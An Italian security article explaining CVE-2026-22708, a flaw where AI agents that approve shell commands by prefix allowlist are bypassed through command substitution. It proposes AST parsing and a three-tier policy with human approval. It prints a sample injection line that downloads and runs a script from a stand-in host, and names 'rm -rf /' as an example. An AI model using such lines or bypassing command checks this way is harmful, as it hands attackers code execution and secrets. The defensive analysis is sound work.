Una vulnerabilità recentemente scoperta, CVE-2026-22708, dimostra che gli agenti AI che si affidano a semplici allowlist di comandi possono essere ingannati per eseguire codice malevolo. La falla consente a un attaccante di nascondere un payload all'interno di un comando altrimenti innocuo, fornendo all'agente una via diretta per eseguire script arbitrari sull'host.

La maggior parte degli assistenti basati su AI che automatizzano lo sviluppo o le operazioni funziona controllando la prima parola di un comando rispetto a una whitelist. Se la parola corrisponde a una voce come git o npm, la richiesta viene inoltrata direttamente. Questo "prefix matching" è attraente perché è facile da implementare e sembra impedire all'agente di eseguire utility pericolose.

In pratica, questo approccio è una falla di sicurezza. Un attaccante può inserire una sostituzione di comando o un'altra funzionalità della shell dopo la parola consentita, e la whitelist non la vedrà mai. Un esempio classico è:

git branch "$(curl evil.sh | sh)"

L'allowlist vede solo git e approva la richiesta. La shell espande quindi $(curl evil.sh | sh), scarica uno script ed lo esegue con i privilegi dell'agente. Lo stesso trucco funziona con qualsiasi binario in whitelist che accetta argomenti interpretati dalla shell.

L'impatto è grave perché agli agenti AI vengono sempre più affidati ambienti privilegiati: pipeline di integrazione continua, container di sviluppo ospitati in cloud e persino workstation degli utenti. Se un agente può essere indotto a eseguire un payload, l'attaccante ottiene gli stessi diritti di accesso di cui gode l'agente, che spesso includono chiavi segrete, credenziali di deployment o accesso illimitato al file system.

Perché le semplici allowlist falliscono

  • String matching, non policy – Controllare solo il primo token ignora la struttura della riga di comando. Non tiene conto di come vengono interpretati gli argomenti o se contengono metacaratteri della shell.
  • Le funzionalità della shell sono potenti – Sostituzioni, pipeline e reindirizzamenti vengono tutti elaborati dopo il controllo dell'allowlist, trasformando un comando dall'aspetto innocuo in un exploit completo.
  • Mancanza di consapevolezza del contesto – La whitelist non può distinguere tra un sicuro git status e un pericoloso git push --force che potrebbe sovrascrivere la cronologia di produzione.

Un modello più resiliente

La risposta della community a CVE-2026-22708 è passare da controlli ingenui sulle stringhe all'analisi dei comandi tramite un Abstract Syntax Tree (AST). Un AST rappresenta la struttura gerarchica di un comando, separando l'eseguibile dai suoi argomenti e da qualsiasi costrutto della shell. Una volta scomposto il comando, un motore di policy può valutarlo rispetto a tre categorie distinte:

  • SAFE – Comandi che corrispondono a regole verificate e non contengono costrutti rischiosi. L'agente li esegue automaticamente. Esempio: git status.
  • BLOCKED – Comandi che corrispondono a pattern noti per essere pericolosi, come quelli che accedono a file segreti, eliminano directory o invocano script privilegiati. L'agente li interrompe immediatamente. Esempio: rm -rf /.
  • UNCERTAIN – Comandi che non rientrano chiaramente né nella categoria SAFE né in quella BLOCKED. L'agente deve richiedere l'approvazione esplicita di un essere umano prima di procedere. Esempio: git push --force.

L'introduzione del livello UNCERTAIN cambia il modello di minaccia. Invece di trattare ogni comando non riconosciuto come un errore, il sistema trasforma l'incertezza in un'interazione controllata. Un modo pratico per imporre il passaggio di approvazione è emettere un token HMAC monouso che l'utente deve presentare all'agente. Poiché il token è legato crittograficamente alla richiesta, l'agente non può falsificare il consenso.

Bilanciare sicurezza e usabilità

I critici potrebbero sostenere che l'analisi AST aggiunga latenza o che il modello a tre livelli possa inondare gli utenti di richieste di approvazione, riducendo la produttività. Queste preoccupazioni sono valide: un set di regole mal calibrato può generare falsi positivi e un'analisi complessa può essere computazionalmente più pesante di un semplice controllo delle stringhe. Tuttavia, l'alternativa — consentire l'esecuzione di codice arbitrario — è molto più costosa. Approcci ibridi che combinano il sandboxing leggero con l'analisi AST possono mitigare l'impatto sulle prestazioni pur mantenendo una policy robusta.

Cosa rischiano sviluppatori e imprese

  • Riservatezza dei dati – Un agente compromesso può esfiltrare chiavi API, password e codice proprietario.
  • Integrità del sistema – Comandi malevoli possono alterare o eliminare artefatti di produzione, annullare i rilasci o installare backdoor.
  • Esposizione normativa – Le violazioni causate da un'automazione insicura possono far scattare sanzioni per la conformità, specialmente in settori con regole rigorose sulla gestione dei dati.

I progetti che ignorano questi rischi spesso finiscono per paralizzare l'agente con regole eccessivamente restrittive o lo lasciano vulnerabile allo sfruttamento. La via di mezzo — definire gruppi chiari SAFE, BLOCKED e UNCERTAIN — offre un percorso pratico verso sia la sicurezza che l'utilità.

Cosa monitorare in seguito

  • Tooling – Aspettatevi librerie open-source che espongono parser basati su AST per shell comuni e pipeline di build, insieme a template di policy pronti all'uso.
  • Standards – I gruppi del settore potrebbero proporre set di regole di base per i tipici comandi di sviluppo, in modo simile a come i runtime dei container hanno standardizzato i profili seccomp.
  • Audits – I team di sicurezza probabilmente aggiungeranno dei "controlli di integrità della allowlist" alle loro pipeline di audit CI/CD, segnalando qualsiasi configurazione dell'agente che si affidi esclusivamente al matching dei prefissi.

In sintesi

Se il tuo agente AI decide ancora cosa eseguire guardando solo la prima parola di un comando, è esposto alla vulnerabilità dimostrata in CVE-2026-22708. Sostituisci questo approccio con un parsing basato su AST e una policy a tre livelli che imponga la conferma umana per le azioni ambigue. Il passaggio extra potrebbe sembrare un attrito, ma trasforma un punto cieco in un punto di controllo verificabile, proteggendo sia il tuo codice che la tua infrastruttura.